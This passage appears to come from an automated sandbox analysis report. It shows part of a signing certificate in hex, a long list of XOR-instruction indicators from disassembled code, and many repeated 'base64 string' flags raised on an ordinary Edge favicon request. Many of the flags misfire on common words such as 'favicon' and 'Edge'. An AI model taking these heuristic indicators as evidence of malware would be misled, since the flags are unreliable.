1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"}2e:T4281,Assembly shows XOR instruction xor ecx A7D86DFDh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax E26EDB59h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax F8D93013h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 2E9602B4h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax F7F36E50h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax B82DCFFDh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 536BED05h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax E53FB7BFh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 65F6DB7Eh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 8AFA6A45h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax ecx in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 19D92EE5h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 7A17BC3Fh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx edx in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx D7BD739Fh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx 1A9D0DD2h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor r8d 1A9D0DD2h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 1A9D0DD2h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx 0B8FD6CBh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor al 83h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx 39D7B20Dh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx ecx in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx F942982Ch in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx r9d in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor r8d F942982Ch in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax F942982Ch in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor r8d edx in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax edx in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 1808449Ah in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor r9d r10d in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 5178F637h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx dword ptr [rdi] in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx r8d in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx eax in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 6678FADFh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 0D1A52C6h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx eax in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax BEF228FAh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 4F96A72Ah in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 63126E98h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 4F6709A7h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 6F817D4Fh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 3D01A74Eh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx 3D01A74Eh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax EA03EF25h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor al 8Bh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 9785D52Dh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx 0CCB1820h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx r8d in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx 0CCB1820h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax FF92D344h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx 08D77DBAh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor r8d ecx in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx 08D77DBAh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax B7E1E1B8h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 7D8DC5BAh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx B39D97B0h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx B39D97B0h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor cl byte ptr [rbx+48342444h] in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 1E7DCAF5h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 634D702Fh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx F9781B04h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx F9781B04h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax E4FA9F75h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 439F70B0h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 64C5575Dh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx 6AA0930Ah in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx 6AA0930Ah in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 8983D40Fh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx 8983D40Fh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 853B101Eh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor ecx A84C3E46h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor edx A84C3E46h in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 0265DD5Dh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax 1E0E1AEDh in Stream UID: 44251-1-0000000140001000 Assembly shows XOR instruction xor eax ecx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 67729204h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx eax in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx r8d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx eax in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 87DE2580h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 24EB5CF7h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx 2394D917h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx r8d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 2394D917h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx ecx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 27914C12h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax E72C085Bh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx edx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx 074F39E5h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r8d r9d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 8B401F0Fh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx A9C25CB1h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax C72CFA9Ch in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax F7EC9DCEh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx E3ECCF9Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r8d ecx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx E3ECCF9Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax B6864380h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 312D63B4h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r9d r10d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 01h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 2BA9BC2Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx FFFFFFFFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx FFFFFFFFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r9d eax in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax edx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 7C36FDC0h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d FFFFFFFFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx 9EAFE77Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d FFFFFFFFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx FFFFFFFFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor esi FFFFFFFFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edi FFFFFFFFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx 9369B43Eh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 2CDCD07Ah in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax FFFFFFFFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax r11d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax ebx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx EFBA9889h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx r10d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx 0874EE35h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx 2FD7E4D2h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 0D9A4E0Ch in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx r10d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 0014D6FDh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 34A70560h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 4AE2509Ah in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 04DEA4BFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 0355B257h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d 28AAC8C2h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 28AAC8C2h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx edi in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d CF668216h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx CF668216h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d 510B4BAFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx 510B4BAFh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d r11d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx ebx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d DF9E9786h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx DF9E9786h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d 1D3061C1h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx 1D3061C1h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx r11d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d 615DDE09h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx 615DDE09h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d 90204FC9h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 90204FC9h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d edx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 2190C606h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d 30697B77h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx 30697B77h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d esi in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx esi in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d B83AD36Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx B83AD36Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d F61735D5h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx F61735D5h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx D19E0CA9h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d 68D38DCEh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx 68D38DCEh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d EBF0A4B6h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx EBF0A4B6h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d DAE17322h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx DAE17322h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d edx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx edx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor esi 1A78C7CEh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d 9D9F758Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ebx 9D9F758Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d ebx in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r11d r10d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d 2AF4B01Fh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 2AF4B01Fh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax r10d in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor r10d 811CE140h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 811CE140h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 936AAC1Dh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 585A9335h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 22FFBDB0h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx 22FFBDB0h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 0F710D24h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax 01D659C2h in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor al 0Fh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor eax E21CDBEDh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor ecx 2CD51BFBh in Stream UID: 44251-266-000000014001EAB1 Assembly shows XOR instruction xor edx 2CD51BFBh in Stream UID: 44251-266-000000014001EAB12f:T14afa,Contains base64 string in header "/favicon" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "straitstimes" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "webp" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "services" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "bingapis" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, 